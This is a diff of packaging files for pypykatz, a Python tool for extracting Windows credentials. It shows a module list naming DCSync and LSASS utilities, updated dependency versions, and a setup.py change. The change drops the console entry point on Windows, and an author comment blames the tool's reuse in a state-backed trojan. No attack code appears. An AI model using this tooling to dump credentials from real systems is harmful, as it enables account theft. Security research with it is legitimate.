224 | pypykatz/smb/dcsync.py | |
225 | pypykatz/smb/lsassutils.py | |
226 | pypykatz/smb/regutils.py | |
227 | pypykatz/smb/shareenum.py | |
153 | 228 | pypykatz/utils/__init__.py |
154 | 229 | pypykatz/utils/crypto/__init__.py |
155 | 230 | pypykatz/utils/crypto/cmdhelper.py |
156 | 231 | pypykatz/utils/crypto/gppassword.py |
157 | pypykatz/utils/crypto/winhash.py | |
158 | pypykatz/utils/sake/__init__.py | |
159 | pypykatz/utils/sake/sake.py⏎ | |
232 | pypykatz/utils/crypto/winhash.py⏎ |
0 | minidump>=0.0.12 | |
1 | minikerberos>=0.2.0 | |
2 | aiowinreg>=0.0.3 | |
3 | msldap>=0.2.7 | |
4 | winsspi>=0.0.3 | |
0 | aiosmb>=0.2.40 | |
1 | aiowinreg>=0.0.4 | |
2 | minidump>=0.0.17 | |
3 | minikerberos>=0.2.10 | |
4 | msldap>=0.3.27 | |
5 | winacl>=0.1.1 |
0 | 0 | from setuptools import setup, find_packages |
1 | 1 | import re |
2 | import platform | |
2 | 3 | |
3 | 4 | VERSIONFILE="pypykatz/_version.py" |
4 | 5 | verstrline = open(VERSIONFILE, "rt").read() |
9 | 10 | else: |
10 | 11 | raise RuntimeError("Unable to find version string in %s." % (VERSIONFILE,)) |
11 | 12 | |
13 | ep = { | |
14 | 'console_scripts': [ | |
15 | 'pypykatz = pypykatz.__main__:main', | |
16 | ], | |
17 | } | |
18 | ||
12 | 19 | setup( |
13 | 20 | # Application name: |
14 | 21 | name="pypykatz", |
18 | 25 | |
19 | 26 | # Application author details: |
20 | 27 | author="Tamas Jos", |
21 | author_email="[email protected]", | |
28 | author_email="[email protected]", | |
22 | 29 | |
23 | 30 | # Packages |
24 | 31 | packages=find_packages(), |
43 | 50 | "Operating System :: OS Independent", |
44 | 51 | ), |
45 | 52 | install_requires=[ |
46 | 'minidump>=0.0.12', | |
47 | 'minikerberos>=0.2.0', | |
48 | 'aiowinreg>=0.0.3', | |
49 | 'msldap>=0.2.7', | |
50 | 'winsspi>=0.0.3' | |
53 | 'minidump>=0.0.17', | |
54 | 'minikerberos>=0.2.10', | |
55 | 'aiowinreg>=0.0.4', | |
56 | 'msldap>=0.3.27', | |
57 | 'winacl>=0.1.1', | |
58 | 'aiosmb>=0.2.40', | |
51 | 59 | ], |
52 | 60 | |
53 | entry_points={ | |
54 | 'console_scripts': [ | |
55 | 'pypykatz = pypykatz.__main__:main', | |
56 | ], | |
57 | } | |
61 | # No more conveinent .exe entry point thanks to some idiot who | |
62 | # used the code without modification in a state-backed trojan. | |
63 | # Thank you for runing it for everyone. | |
64 | # | |
65 | # | |
66 | entry_points=ep if platform.system().lower() != 'windows' else {} | |
58 | 67 | ) |